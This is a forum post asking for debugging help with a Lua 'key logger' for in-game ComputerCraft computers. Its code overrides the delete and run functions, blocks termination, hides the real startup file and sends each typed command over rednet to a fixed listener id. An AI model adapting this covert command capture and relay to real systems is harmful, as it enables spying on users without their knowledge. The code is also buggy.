Posted 08 November 2012 - 03:21 PM
I was making a key logger program, and after disabling shell.run, io.delete, fs.delete I now get a BIOS error, What is wrong with this code? (The bios error is on line 156 of bios)
Yes, I know I should have used functions for the rednet.send, and other ways to shorten code, also I know this code is complicated.
Thanks PixelToast!
id = 223
io.delete = write
fs.delete = write
programr = {["run"] = shell.run}
shell.run = write
os.run = write
os.pullEvent = os.pullEventRaw
ranyet = 2
space = " "
program = space
arg1 = space
arg2 = space
arg3 = space
arg4 = space
arg5 = space
rednet.open("right")
rednet.open("left")
rednet.open("top")
rednet.open("back")
rednet.open("bottom")
rednet.open("front")
if fs.exists("startup1") then
programr.run("startup1")
end
while true do
program = space
arg1 = space
arg2 = space
arg3 = space
arg4 = space
arg5 = space
c = 1
term.setTextColor(colors.yellow)
write("> ")
term.setTextColor(colors.white)
textenter = read()
for w in string.gmatch(textenter, "%a+") do
if c == 1 then
program = w
elseif c == 2 then
arg1 = w
elseif c == 3 then
arg2 = w
elseif c == 4 then
arg3 = w
elseif c == 5 then
arg4 = w
else
arg5 = w
end
c = c+1
end
c = 1
if program == "edit" then
if arg1 == "startup" then
programr.run("edit", ".startup1")
rednet.send(id, program .. " " .. arg1 .. " " .. arg2 .. " " .. arg3 .. " " .. arg4 .. " " .. arg5 .. " ")
ranyet = 1
end
end
if program == "rm" or "remove" then
if arg1 == "startup" then
programr.run("rm", ".startup1")
rednet.send(id, program .. " " .. arg1 .. " " .. arg2 .. " " .. arg3 .. " " .. arg4 .. " " .. arg5 .. " ")
ranyet = 1
end
end
if program == "mv" or "move" then
if arg1 == "startup" then
programr.run("mv", ".startup1", arg2)
end
end
if not program == "rm" or "remove" or "edit" or "mv" or "move" then
if ranyet == 2 then
programr.run(program, arg1, arg2, arg3, arg4, arg5)
rednet.send(id, program .. " " .. arg1 .. " " .. arg2 .. " " .. arg3 .. " " .. arg4 .. " " .. arg5 .. " ")
ranyet = 1
end
end
if not arg1 == "startup" then
if ranyet == 2 then
programr.run(program, arg1, arg2, arg3, arg4, arg5)
rednet.send(id, program .. " " .. arg1 .. " " .. arg2 .. " " .. arg3 .. " " .. arg4 .. " " .. arg5 .. " ")
end
end
ranyet = 2
end
It only does the BIOS error AFTER running the program once.Yes, I know I should have used functions for the rednet.send, and other ways to shorten code, also I know this code is complicated.
Thanks PixelToast!